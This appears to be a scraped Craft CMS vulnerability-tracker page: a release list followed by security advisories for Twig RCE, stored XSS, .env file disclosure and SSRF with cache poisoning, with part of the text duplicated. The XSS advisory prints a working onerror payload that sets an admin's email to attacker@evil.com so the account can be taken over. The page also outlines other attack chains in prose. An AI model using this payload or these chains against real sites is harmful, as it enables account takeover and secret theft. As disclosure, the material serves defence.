Version	Released
`6.0.0-alpha.14` pre	Jul 22, 2026
`5.10.12` patch	Jul 22, 2026
`6.0.0-alpha.13` pre	Jul 16, 2026
`6.0.0-alpha.12` pre	Jul 15, 2026
`5.10.11` patch	Jul 15, 2026
`4.18.5` patch	Jul 15, 2026
`5.10.10` patch	Jul 08, 2026
`6.0.0-alpha.11` pre	Jul 07, 2026
`6.0.0-alpha.10` pre	Jul 03, 2026
`5.10.9` patch	Jul 03, 2026
`4.18.4` patch	Jul 03, 2026
`5.10.8.1` patch	Jun 23, 2026
`6.0.0-alpha.9` pre	Jun 23, 2026
`5.10.8` patch	Jun 23, 2026
`6.0.0-alpha.8` pre	Jun 18, 2026
`5.10.7` patch	Jun 18, 2026
`4.18.3` patch	Jun 18, 2026
`6.0.0-alpha.7` pre	Jun 16, 2026
`5.10.6` patch	Jun 16, 2026
`4.18.2` patch	Jun 16, 2026
`6.0.0-alpha.6` pre	Jun 03, 2026
`5.10.5` patch	Jun 02, 2026
`5.10.4.1` patch	May 28, 2026
`6.0.0-alpha.5` pre	May 27, 2026
`5.10.4` patch	May 27, 2026
`5.10.3` patch	May 22, 2026
`4.18.1` patch	May 22, 2026
`5.10.2` patch	May 20, 2026
`6.0.0-alpha.4` pre	May 19, 2026
`6.0.0-alpha.3` pre	May 15, 2026
`4.18.0.1` patch	May 15, 2026
`5.10.1` patch	May 15, 2026
`6.0.0-alpha.2` pre	May 13, 2026
`5.10.0` minor	May 13, 2026
`4.18.0` minor	May 13, 2026
`5.9.23` patch 4 CVEs	May 12, 2026
`4.17.16` patch 2 CVEs	May 12, 2026
`6.0.0-alpha.1` pre	May 06, 2026
`5.9.22` patch 5 CVEs	Apr 29, 2026
`4.17.15` patch 3 CVEs	Apr 29, 2026
`5.9.21` patch 6 CVEs	Apr 23, 2026
`4.17.14` patch 4 CVEs	Apr 23, 2026
`5.9.20` patch 11 CVEs	Apr 14, 2026
`4.17.13.1` patch 6 CVEs	Apr 14, 2026
`5.9.19` patch 11 CVEs	Apr 07, 2026
`4.17.13` patch 6 CVEs	Apr 07, 2026
`5.9.18` patch 11 CVEs	Mar 26, 2026
`4.17.12` patch 6 CVEs	Mar 26, 2026
`5.9.17` patch 14 CVEs	Mar 17, 2026
`4.17.11` patch 8 CVEs	Mar 17, 2026

6.0.0-alpha.14 pre

Jul 22, 2026

5.10.12 patch

Jul 22, 2026

6.0.0-alpha.13 pre

Jul 16, 2026

6.0.0-alpha.12 pre

Jul 15, 2026

5.10.11 patch

Jul 15, 2026

4.18.5 patch

Jul 15, 2026

5.10.10 patch

Jul 08, 2026

6.0.0-alpha.11 pre

Jul 07, 2026

6.0.0-alpha.10 pre

Jul 03, 2026

5.10.9 patch

Jul 03, 2026

4.18.4 patch

Jul 03, 2026

5.10.8.1 patch

Jun 23, 2026

6.0.0-alpha.9 pre

Jun 23, 2026

5.10.8 patch

Jun 23, 2026

6.0.0-alpha.8 pre

Jun 18, 2026

5.10.7 patch

Jun 18, 2026

4.18.3 patch

Jun 18, 2026

6.0.0-alpha.7 pre

Jun 16, 2026

5.10.6 patch

Jun 16, 2026

4.18.2 patch

Jun 16, 2026

6.0.0-alpha.6 pre

Jun 03, 2026

5.10.5 patch

Jun 02, 2026

5.10.4.1 patch

May 28, 2026

6.0.0-alpha.5 pre

May 27, 2026

5.10.4 patch

May 27, 2026

5.10.3 patch

May 22, 2026

4.18.1 patch

May 22, 2026

5.10.2 patch

May 20, 2026

6.0.0-alpha.4 pre

May 19, 2026

6.0.0-alpha.3 pre

May 15, 2026

4.18.0.1 patch

May 15, 2026

5.10.1 patch

May 15, 2026

6.0.0-alpha.2 pre

May 13, 2026

5.10.0 minor

May 13, 2026

4.18.0 minor

May 13, 2026

5.9.23 patch

4 CVEs

CVE-2026-55794 GHSA-f74w-488g-8x5r Jul 06, 2026

Craft CMS: Potential authenticated Remote Code Execution via referrer redirect

High

Network Low Low None

Requirements:

Control panel access
Permissions to edit an entry

Details

Control panel users with the ability to edit entries can execute unsandboxed Twig code via the HTTP Referrer header.

The issue happens when a user is saving entries. Strings for a signed redirect URL are being compiled as a Twig template via renderObjectTemplate(), and while a sandboxed alternative already exists (renderSandboxedObjectTemplate()), it is not used in this case. This signed URL can be specified by users, as it is reflected in the “Referer” HTTP request header, which is under attacker control.

This has been fixed in Craft 5.10.0. Affected users should update to that version or higher to get the fix.

Resources

https://github.com/craftcms/cms/pull/18680

Affected versions


          5.9.0


          5.9.1


          5.9.10


          5.9.11


          5.9.12


          5.9.13


          5.9.14


          5.9.15


          5.9.16


          5.9.17


          5.9.18


          5.9.19

+ 12 more


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55793 GHSA-xrqc-p465-2xvg Jul 06, 2026

Craft CMS: Stored XSS via Structure entry title in table view

Medium

Network Low Low

Stored XSS via Structure entry title in table view

Summary

An Author-level control panel user can store a JavaScript payload in an entry title. When an admin, or any control panel user with saveEntries for the same Structure section, drags another entry under the poisoned entry in table view, the payload executes in the victim’s session.

The issue is exploitable because the title is escaped into data-title by the server, decoded again by the browser, read with jQuery .data('title'), and then concatenated into a new HTML string without attribute escaping.

Execution was verified with alert(document.domain). Impact was verified against an elevated admin session by changing the admin user’s email through users/save-user, then using the password-reset flow to take over the account.

Preconditions

Attacker has createEntries + saveEntries on a Structure-type section (Author-style CP account; no admin permission required).
Victim has saveEntries on the same section. Craft only renders drag handles when structureEditable is true, which requires this permission, so any admin qualifies.
Section must be type Structure. Channel and Single sections are unaffected.
Poisoned entry must have no children at the time of the drag (fires on the 0-to-1 descendant transition).
For the email-change account-takeover path, the victim must currently have an elevated session. The stored XSS itself does not require elevation.

Root cause

ElementTableSorter.js lines 643-652:

const ancestorTitle = this._updateAncestors._$ancestor.data('title');
$(
  '<button … aria-label="' +
    Craft.t('app', 'Show {title} children', {title: ancestorTitle}) +
  '"></button>'
).insertAfter(…);

Craft.t with a {title} token calls _parseToken, reaches case 'none': return arg (Craft.js:193-194), and returns the title verbatim. The result is handed to jQuery's $() and parsed as HTML.

The server-side template correctly encodes the entry title into data-title, but the browser decodes that attribute before jQuery returns it from .data('title'). At that point the value is attacker-controlled HTML, and it is inserted into the aria-label attribute without Craft.escapeHtml().

Steps to reproduce

Plant (attacker - Author account):

python3 poc.py --url http://target --cp admin \
  --user author@example.com --pass secret --section mySection

Trigger (victim - any control panel user with saveEntries, e.g. admin):

Open the section index in Table view.
Drag the "Drag me" entry and drop it as the first child of the poisoned entry.

alert(document.domain) fires in the victim’s session.

Impact payload tested in an elevated admin session (249 chars, within the 255-char title limit):

"><img src=x onerror="fetch(Craft.actionUrl+'users/save-user',{method:'POST',body:Craft.csrfTokenName+'='+encodeURIComponent(Craft.csrfTokenValue)+'&userId=1&email=attacker%40evil.com',headers:{'Content-Type':'application/x-www-form-urlencoded'}})">

When triggered during an elevated admin session, the admin’s email is changed to the attacker-controlled address. The attacker can then request a password reset and receive the reset link.

Impact

Stored XSS in the control panel from an Author-level account. The payload runs as the victim control panel user and can use Craft.csrfTokenName / Craft.csrfTokenValue to send same-origin action requests as that user.

In my test environment, triggering the payload in an elevated admin session allowed Author-to-admin account takeover via admin email change and password reset.

Mitigating factors

Requires an existing control panel account (Author role minimum).
Victim must perform a drag operation, not just visit the page.
The demonstrated email-change takeover requires the victim’s session to be elevated at trigger time.

Resources

https://github.com/craftcms/cms/commit/162321e899cc97517fb6f5a02b5528f549d0c6cc

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 159 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.53

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55792 GHSA-287w-mxq6-x2cp Jul 06, 2026

Craft CMS: Sensitive File Disclosure / Server-Side File Read

Medium

Network Low Low None

The dataUrl() Twig function is included in Craft’s Twig sandbox allowlist, allowing any control panel user granted the utility:system-messages permission to embed a file-reading payload into system email templates. When those emails are sent, the server reads the target file and returns its contents as a base64-encoded data URL embedded in the email body. The .env file, which typically contains the database password, CRAFT_SECURITY_KEY, and third-party API keys, passes all of Craft’s existing dataUrl() protection checks and is fully exfiltrated. Obtaining CRAFT_SECURITY_KEY enables an attacker to forge session tokens and escalate to full admin account takeover.

Details

Affected versions: Craft CMS 4.x, 5.x (confirmed against 5.9.19)

The vulnerability arises from the combination of three code facts:

dataUrl is in the Twig sandbox allowlist src/config/twig-sandbox.php, line 115: php'allowedFunctions' => [ ... 'dataUrl', // ← allows file reading inside sandboxed templates ... ],
Html::dataUrl() does not block dotfiles src/helpers/Html.php, lines 1065–1090. The function applies four checks before reading a file:

Must be within the project root .env is at the root Must not be in a system directory (config/, vendor/, storage/, templates/) .env is not Must not be a .php file .env has no extension File must exist .env always exists in a Craft install

There is no check for dotfiles or specifically for .env. All four checks pass silently and file_get_contents() is called, with the result returned as data:text/plain;base64,....

System message body is rendered via renderSandboxedString() src/mail/Mailer.php, lines 181–183: php$subject = $view->renderSandboxedString($systemMessage->subject, $variables); $textBody = $view->renderSandboxedString($systemMessage->body, $variables); $htmlBody = $view->renderSandboxedString($systemMessage->body, $variables, escapeHtml: true);

Any body content saved to a system message is executed inside the Twig sandbox when the email renders. Because dataUrl is in allowedFunctions, the sandbox policy permits its execution without restriction.

Access control: The utility:system-messages permission is a non-admin CP permission grantable to any user group via Settings > Users > Groups. It is not restricted to admins.

Impact

Vulnerability type: Sensitive File Disclosure / Server-Side File Read Who is impacted: Any Craft CMS 4.x or 5.x installation where at least one non-admin control panel user has been granted the utility:system-messages permission, and email sending is configured.

Resources:

https://github.com/craftcms/cms/pull/18559

Affected versions


          4.0.0


          4.0.0-RC1


          4.0.0-RC2


          4.0.0-RC3


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2

+ 408 more


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.0-RC1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


            5.1.0


            5.1.1


            5.1.10


            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.18.0


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55791 GHSA-c55v-343g-5xff Jun 19, 2026

Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs

Critical

Network Low None None

1. Overview

Craft CMS is vulnerable to Server-Side Request Forgery (SSRF) and Arbitrary JavaScript Injection through the /actions/app/resource-js endpoint. By exploiting the default permissive trustedHosts configuration, an attacker can poison the Host or X-Forwarded-Host header to manipulate the application’s $baseUrl. This bypasses the endpoint’s internal URL validation, forcing the backend Guzzle client to fetch a malicious payload from an attacker-controlled server and reflect it to the client with a Content-Type: application/javascript header.

2. Vulnerability Mechanism (Root Cause) The vulnerability manifests when assetManager.cacheSourcePaths is set to false. The attack chain relies on three structural flaws and insecure defaults:

A. Default Proxy Trust (trustedHosts): Craft’s default GeneralConfig::$trustedHosts is set to ['any']. This allows an attacker to bypass front-end web server (Nginx/Apache) strict Host header validations by simply injecting an X-Forwarded-Host header. Yii2 will parse this and globally set $baseUrl to the attacker's domain.
B. Insecure HTTP Client (actionResourceJs): In AppController::actionResourceJs(), the str_starts_with($url, $baseUrl) validation is bypassed because $baseUrl is already poisoned by the attacker. The core then uses Craft::createGuzzleClient()->get($url). Unlike the GraphQL Asset fetcher, this Guzzle instance defaults to ALLOW_REDIRECTS => true.
C. Forced JS Content-Type: The response fetched from the attacker's server is blindly returned to the user via $this->asRaw() with the header Content-Type: application/javascript.

3. Attack Scenario & Impact (Proof of Exploitability) This endpoint acts as a proxy, taking remote, unverified content and serving it as valid JavaScript. While the direct SSRF allows for internal network probing, the most devastating impact occurs when caching layers are involved.

If the Craft CMS instance is behind a caching layer, this vulnerability leads directly to Web Cache Poisoning:

An unauthenticated attacker sends the poisoned request.
The caching layer caches the malicious JavaScript response for the legitimate /actions/app/resource-js URI.
When an authenticated Administrator logs into the Control Panel, their browser loads the poisoned cached JavaScript (Stored XSS).
The malicious script extracts window.Craft.csrfTokenValue and silently sends a POST request to /admin/actions/plugins/install-plugin, achieving 1-Click Remote Code Execution (RCE) via Session Riding.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 408 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.18


          5.10

References

Updated Jun 19, 2026 · Source: OSV.dev

May 12, 2026

4.17.16 patch

2 CVEs

May 12, 2026

6.0.0-alpha.1 pre

May 06, 2026

5.9.22 patch

5 CVEs

CVE-2026-55794 GHSA-f74w-488g-8x5r Jul 06, 2026

Craft CMS: Potential authenticated Remote Code Execution via referrer redirect

High

Network Low Low None

Requirements:

Control panel access
Permissions to edit an entry

Details

Control panel users with the ability to edit entries can execute unsandboxed Twig code via the HTTP Referrer header.

The issue happens when a user is saving entries. Strings for a signed redirect URL are being compiled as a Twig template via renderObjectTemplate(), and while a sandboxed alternative already exists (renderSandboxedObjectTemplate()), it is not used in this case. This signed URL can be specified by users, as it is reflected in the “Referer” HTTP request header, which is under attacker control.

This has been fixed in Craft 5.10.0. Affected users should update to that version or higher to get the fix.

Resources

https://github.com/craftcms/cms/pull/18680

Affected versions


          5.9.0


          5.9.1


          5.9.10


          5.9.11


          5.9.12


          5.9.13


          5.9.14


          5.9.15


          5.9.16


          5.9.17


          5.9.18


          5.9.19

+ 12 more


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55793 GHSA-xrqc-p465-2xvg Jul 06, 2026

Craft CMS: Stored XSS via Structure entry title in table view

Medium

Network Low Low

Stored XSS via Structure entry title in table view

Summary

An Author-level control panel user can store a JavaScript payload in an entry title. When an admin, or any control panel user with saveEntries for the same Structure section, drags another entry under the poisoned entry in table view, the payload executes in the victim’s session.

The issue is exploitable because the title is escaped into data-title by the server, decoded again by the browser, read with jQuery .data('title'), and then concatenated into a new HTML string without attribute escaping.

Execution was verified with alert(document.domain). Impact was verified against an elevated admin session by changing the admin user’s email through users/save-user, then using the password-reset flow to take over the account.

Preconditions

Attacker has createEntries + saveEntries on a Structure-type section (Author-style CP account; no admin permission required).
Victim has saveEntries on the same section. Craft only renders drag handles when structureEditable is true, which requires this permission, so any admin qualifies.
Section must be type Structure. Channel and Single sections are unaffected.
Poisoned entry must have no children at the time of the drag (fires on the 0-to-1 descendant transition).
For the email-change account-takeover path, the victim must currently have an elevated session. The stored XSS itself does not require elevation.

Root cause

ElementTableSorter.js lines 643-652:

const ancestorTitle = this._updateAncestors._$ancestor.data('title');
$(
  '<button … aria-label="' +
    Craft.t('app', 'Show {title} children', {title: ancestorTitle}) +
  '"></button>'
